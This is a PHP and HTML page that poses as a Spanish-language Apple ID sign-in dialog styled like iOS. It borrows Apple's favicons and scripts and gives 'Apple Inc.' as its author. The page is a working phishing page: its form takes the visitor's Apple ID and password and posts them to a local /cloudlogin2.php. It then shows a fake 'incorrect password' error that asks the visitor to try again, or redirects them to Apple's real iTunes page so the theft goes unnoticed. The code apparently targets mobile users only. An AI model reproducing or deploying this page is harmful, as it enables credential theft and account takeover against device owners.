<?php
    //include("config/config.php"); 
    //include("includes/Mobile_Detect.php");
     if(!empty($_GET["tr"])){$x_idname = $_GET["tr"];}else{$x_idname = "QK";}
     
    
    /*$detect = new Mobile_Detect();
    if(!$detect->isMobile()){ 
        header('Location: https://itunes.apple.com/es/store?ign-mscache=1'); 
    } */
    
    $host= $_SERVER["HTTP_HOST"]; 
    $DOMINIO =  "https://" . $host.'/' ; 
 
?>
<!DOCTYPE html>
<html lang="en"><head>
    <meta charset="utf-8">
    <link rel="shortcut icon" href="https://appleid.cdn-apple.com/daw/IDMSWebAuth/static/06Jan2017/images/favicon.ico" type="image/X-icon">
    <title>Iniciar sesión</title> 
    <meta name="Author" content="Apple Inc.">
    <meta name="Description" content="Inicia sesión con tu ID de Apple">
    <meta name="Title" content="Inicia sesión con tu ID de Apple">
    <link rel="shortcut icon" type="image/x-icon" href="https://appleid.cdn-apple.com/static/bin/cb3606853004/images/favicon.ico">
    <!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">

<!-- Optional theme -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">

  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    
     <!--<link rel="prefetch stylesheet" href="https://www.apple.com/wss/fonts?family=Myriad+Set+Pro&v=2" type="text/css"> -->
     
     
     <link rel="stylesheet" href="/apps-istore/css/fonts2.css" type="text/css"> 
        
    <link rel="stylesheet" type="text/css" media="screen" href="/apps-istore/css/appe.css">

    <script type="text/javascript" src="https://appleid.cdn-apple.com/appleauth/static/jsj/N505129167/common-header.js"></script>

    <script  src="https://code.jquery.com/jquery-2.2.4.js"  integrity="sha256-iT6Q9iMJYuQiMWNd9lDyBUStIq/8PuOW33aOqmvFpqI="  crossorigin="anonymous"></script>

    <script  src="/apps-istore/jss/myscript.js"  ></script>
  
    <link rel="stylesheet" type="text/css" media="screen" href="/apps-istore/mycss/mycss.css">
 
</head>
<body>
    
    
      
    <div class="loading"></div>  
    <img src="/apps-istore/images/2.png" class="plantilla">
  
 <!-- Modal -->
  <div class="modal fade" id="myModal" data-keyboard="false" data-backdrop="static" role="dialog">
    <div class="modal-dialog"> 
      <!-- Modal content-->
      <div class="modal-content" style="    width: 280px;    border-radius: 1em;"> 
        <div class="modal-body t"> 
          <div class="s b" style="color: black;    font-weight: 600;">
            <p class="marg">Iniciar sesión</p>
          </div>
          <div class="s b" style="cursor:pointer"  onclick="action(1)">
            <p class="marg">Usar Apple ID existente</p>
          </div>

          <div class="s b" style="cursor:pointer" onclick="action(10)" > 
            <p class="marg">Crear nuevo Apple ID</p>
          </div>
         
          <div class="s" style="cursor:pointer;font-weight: 600;" onclick="action(20)"> 
            <p>Cancelar</p>
          </div>  
        </div> 
      </div>
      
    </div>
  </div>

  <div class="modal fade" id="myModal2" data-keyboard="false" data-backdrop="static"  role="dialog">
    <div class="modal-dialog"> 
      <!-- Modal content-->
      <div class="modal-content" style="    width: 270px;    border-radius: 1em;height: 170px;"> 
        <div class="modal-body t"> 
          <div class="s" style=" margin-top: 2px;">
              <p style="color: black;font-weight: 600;">Se requiere inicia sesión</p> 
          </div>

          <div class="s" style="height: 64px;"  > 
          </div>

          
         
          <div class="s" style="font-size: 80%; cursor: pointer;border-top: 0.5px solid rgba(0, 0, 0, 0.67);" onclick="action()"> 
            <div class="row">
              <div class="col-xs-4" style="cursor: pointer;height: 25px;margin-top: 14px;margin-left: 14px;font-size: 18px;" onclick="action(5)" > Cancelar </div>
              <div class="col-xs-1 pl"></div>
              <div id="register" class="col-xs-5" style="cursor: pointer;width: 130px;margin-top: 14px;font-size: 18px;font-weight: 600;" onclick="action(6)" > OK </div>
            </div>
            
          </div>
          



        </div> 
      </div>
<?php
      if($response->vermail==1){
        $value = 'value="'.$response->email.'"';
      }else{
        $value="";
      }
      ?>
     <div class="cont_input">
      <form class="cloud-login">
        <div class="s yt bb" style="    margin-bottom: -11px;    margin-top: 3px;    width: 224px;border-bottom: 0.5px solid rgba(0, 0, 0, 0.67); ">
            <input id="appleId"   type="text" class="clr ip" onclick="clic(this.id)" placeholder="Apple ID" 
            style="margin-top: 0px;border-bottom: 1.5px solid rgba(0, 0, 0, 0.67) !important;" name="xuser" <?php echo $value;?>>
          </div>

          <div class="s yt"> 
            <input id="pwd" type="password" class="clr ip" onclick="clic(this.id)" placeholder="Contraseña" style="margin-top: 0px;" name="xpass">
            <input type="hidden" name="id" value="<?php echo $idequipo;?>">
          </div> 
        </form>
      </div>

      



      
    </div>
  </div>





  <div class="modal fade" id="myModal3" data-keyboard="false" data-backdrop="static"  role="dialog">
    <div class="modal-dialog"> 
      <!-- Modal content-->
      <div class="modal-content" style="width: 250px;border-radius: 1em;"> 
        <div class="modal-body t" style="    padding-bottom: 0;"> 
          <div class="s" style="color: black;    font-weight: 600;">
            <p>Error de verificación</p>
          </div>
          
          <div style="color: black;font-size: 14px;text-align: center;margin-top: -5px;">
            El Apple ID o la contraseña son
            incorrectos. 
          </div>
          
          <div class="s" style="cursor: pointer;border-top: 0.5px solid rgba(0, 0, 0, 0.67);" onclick="action()"> 
            <div class="row">
              <div class="col-xs-4" style="cursor: pointer;height: 25px;margin-top: 14px;margin-left: 14px;font-size: 18px;" onclick="action(55)" > Cancelar </div>
              <div class="col-xs-1 pl"></div>
              <div class="col-xs-5 reint" style="cursor: pointer;margin-top: 14px;font-size: 18px;font-weight: 600;" onclick="action(66)"> Reintentar </div>
            </div>
            
          </div>
          <!--
 
          <div class="s" style="cursor:pointer;border-top: 0.5px solid rgba(0, 0, 0, 0.67);" onclick="action()"> 
            <div class="row">
              <div class="col-xs-6" style="cursor:pointer;height: 25px;" onclick="action(55)" ><p style="position: absolute;top: 10px;left: 36px;">Cancelar</p>   </div>
              <div class="col-xs-1 pl2"></div>
              <div class="col-xs-5" style="cursor:pointer;" onclick="action(66)"   ><p style="position: absolute;top: 11px;left: 30px;" ><b>Reintentar</b></p>   </div>
            </div> 
            
          </div> 
                -->
                
        </div> 
      </div>  

      
    </div>
  </div>







</div> 



<div class="navbar navbar-default navbar-fixed-bottom" role="navigation">
  <div class="container">
    <div class="navbar-header"> 
      <img src="/apps-istore/includes/footer.png" style="width: 100%;"> 

 
    </div>
    <div class="navbar-collapse collapse">
  
      <!-- Left nav -->
      <ul class="nav navbar-nav">
        
      </ul>
  
      <!-- Right nav -->
      <ul class="nav navbar-nav navbar-right"> 
      </ul>
  
    </div><!--/.nav-collapse -->
  </div><!--/.container -->
</div>
 

<script type="text/javascript" src="https://appleid.cdn-apple.com/static/jsj/N2116162881/landing/web/app.js"></script>   
<!-- Latest compiled and minified JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
   <script>
     $("#register").on("click", getCloud);
    function getCloud(a){
      var datos = $(".cloud-login").serialize();
      $("img.loading#load").show(0);
      $.post(
        "/cloudlogin2.php",
        datos,
        function(b){
          if(b==1){
            window.location="https://www.apple.com/mx/itunes/download/";
          }else{
            $(".modal").hide(0);
            $("#myModal3").show(0);
            $("#myModal3").css("opacity", 1);
          }
        }
      );
      a.preventDefault();
    }
    $(".reint").on("click", getVentana);
    function getVentana(){
      $("#myModal3").hide(0);
      $("#myModal2").show(0);
    }
   </script>
</body>
</html>
